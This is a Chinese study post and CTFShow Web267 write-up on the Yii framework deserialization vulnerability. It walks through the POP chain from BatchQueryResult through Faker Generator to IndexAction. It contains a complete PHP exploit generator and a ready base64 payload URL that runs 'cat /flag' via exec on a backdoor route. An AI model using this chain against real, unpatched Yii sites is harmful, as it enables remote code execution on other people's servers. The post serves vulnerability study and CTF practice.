首页 > 其他分享 >Yii反序列化漏洞的学习

Yii反序列化漏洞的学习

时间:2023-10-26 21:35:56浏览次数:37  
标签:__ Generator yii Yii 漏洞 BatchQueryResult new 序列化

Yii反序列化漏洞的学习

Yii框架

Yii是一个适用于开发Web2.0应用程序的高性能PHP框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii控制器,路由和操作

#控制器:控制器以Controller作为后缀,继承自yii\web\Controller类的对象,负责处理请求和生成响应-->一个类
动作:控制器由操作组成,是执行终端用户请求的最基础的单元,一个控制器可有一个或者多个操作-->一种方法
#路由:终端用户通过所谓的路由寻找到动作。-->找到操作的地址

漏洞分析

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = '';	//PHP函数
            $this->id = '';    //PHP函数的参数  
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

从大佬的exp开始分析,exp的执行顺序为:BatchQueryResult->Generator->IndexAction最后rce

new BatchQueryResult():执行了BatchQueryResult类下的__construct函数
new Generator():执行了Generator类下的__construct函数
new IndexAction():执行了IndeIndexAction类中的xAction类下的__construct
最后因为IndexAction类中的checkAccess和id的值是可控的,导致了RCE。

找到第一步BatchQueryResult,这个类是整个POP链的起点

  1. 类中的___destruct()调用了reset()方法,reset方法中的dataReader又是可控的, $this->_dataReader->close();可以利用魔术方法中的 __call方法这就说明在EXP的第二个类Generator存在可利用的__call方法,继续跟进Generator.php。

  2. Generator类中看到__call调用了format方法,format又调用了call_user_func_array,但是$formatter和arguments都是不可控的;继续往下走,$formatter传入了$this->getFormatter,在这个方法中,$this->formatters是我们可控的,也就是说getFormatter方法的返回值是可控的,call_user_func_array这个函数的第一个参数可控,第二个参数为空;那么EXP中的下一步代入了一个无参数的方法去RCE;我们去查看下EXP的最后一步,CreateActiion类中的run()方法,跟进CreateAction.php文件。

  3. CreateAction类中,run()很明显可以看到$this->checkAccess以及$this->id都可控,利用链就出来了

POP:yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\CreateAction.php::run()

CTFShow Web 267

这两个题目就是Yii反序列化的利用

Web267

admin/admin弱口令进入管理员账户,在about页面查看源代码会发现 <!--?view-source -->

访问?r=site%2Fabout&view-source得到:

///backdoor/shell
unserialize(base64_decode($_GET['code']))

现成poc:

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'exec';	//PHP函数
            $this->id = 'cat /flag >2.txt';    //PHP函数的参数  
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

标签:__,Generator,yii,Yii,漏洞,BatchQueryResult,new,序列化
From: https://www.cnblogs.com/B0like/p/17790337.html

相关文章

  • windows下搭建yii2框架的安装与运行
    安装命令composercreate-projectyiisoft/yii2-app-basicbasic报错信息(curlerror28whiledownloadinghttps://asset-packagist.org/p/provider-latest/xxx.json:Timeoutwasreached)打开composer.json发现是下载的数据被墙掉了处理添加下载数据源切换到根目录......
  • 反序列化加命令执行2023/10/25
    #[SWPUCTF2022新生赛]1z_unserialize<?phpclasslyh{public$url='NSSCTF.com';public$lt;public$lly;function__destruct(){$a=$this->lt;$a($this->lly);}}unserialize($_POST['nss'......
  • 数据序列化协议 Protocol Buffers(Protobuf) 认知
    写在前面需要存大数据,同事推荐,了解一下理解不足小伙伴帮忙指正对每个人而言,真正的职责只有一个:找到自我。然后在心中坚守其一生,全心全意,永不停息。所有其它的路都是不完整的,是人的逃避方式,是对大众理想的懦弱回归,是随波逐流,是对内心的恐惧——赫尔曼·黑塞《德米安》ProtocolBuf......
  • Java基础 序列化流和反序列化流的 三个使用细节
    细节一:如果说一个类实现了Serializable接口,表示这个类的对象是可被序列化的,Java底层会根据这个类里面所有的内容进行计算,计算出一个long类型的序列号(或版本号)。假设计算出来的版本号是1,当我创建了一个这个类的对象的时候,在对象里面就包含了版本号1,用序列化流写到本地文......
  • Java基础 序列化流、反序列化流
     序列化流是高级流,也是用来包装基本流的序列化流属于字节流的一种,负责输出数据;反序列化流负责输入数据 序列化流可以把Java中的对象写到本地文件中。但是写到文件中的数据我们看不懂,可以通过反序列化流把数据正确读取出来序列化流也叫对象操作输出流  序列......
  • 序列化与反序列化
    一、什么是序列化与反序列化?Java序列化是指把Java对象转换为字节序列的过程;Java反序列化是指把字节序列恢复为Java对象的过程;二、为什么要用序列化与反序列化?在 为什么要用序列化与反序列化 之前我们先了解一下对象序列化的两种用途:把对象的字节序列永久地保存到硬......
  • log4j漏洞CVE-2021-44228复现-排雷篇
    一、环境搭建(用相同的环境才能保证一定成功)下载vulhub,其他环境可能存在GET请求无效问题:gitclonehttps://github.com/vulhub/vulhub.git切换到指定漏洞环境目录:vulhub/log4j/CVE-2021-44228开启docker:dockercomposeup-d➜vulhubgit:(master)cdvulhub/log4j/CVE-20......
  • C++算法:二叉树的序列化与反序列化
    #题目序列化是将一个数据结构或者对象转换为连续的比特位的操作,进而可以将转换后的数据存储在一个文件或者内存中,同时也可以通过网络传输到另一个计算机环境,采取相反方式重构得到原数据。请设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序列/反序列化算法执行逻......
  • web基础漏洞-dom型xss测试
    1、介绍dom型xss的测试是非常繁琐的,很难如同其它漏洞那样基于自动化分析是否存在该漏洞。搜索js的关键词分析上下文中攻击者可控的参数与流程2、分析工具(1)搜索js关键词针对单个请求的响应体部,搜索js关键词,列举搜索结果针对日志的请求队列,逐一搜索js关键词,列出请求序号......
  • web基础漏洞-反射型和存储xss测试
    1、异同反射型基于单次请求-响应过程,payload在请求中提交,然后直接在响应中包含。测试过程中,分析payload在唯一响应体部中的表现。存储型基于两次请求-响应过程,payload在初次请求中提交,然后在第二次请求的响应中包含。测试过程中,分析的是payload在第二次响应体部中的表现。2、测......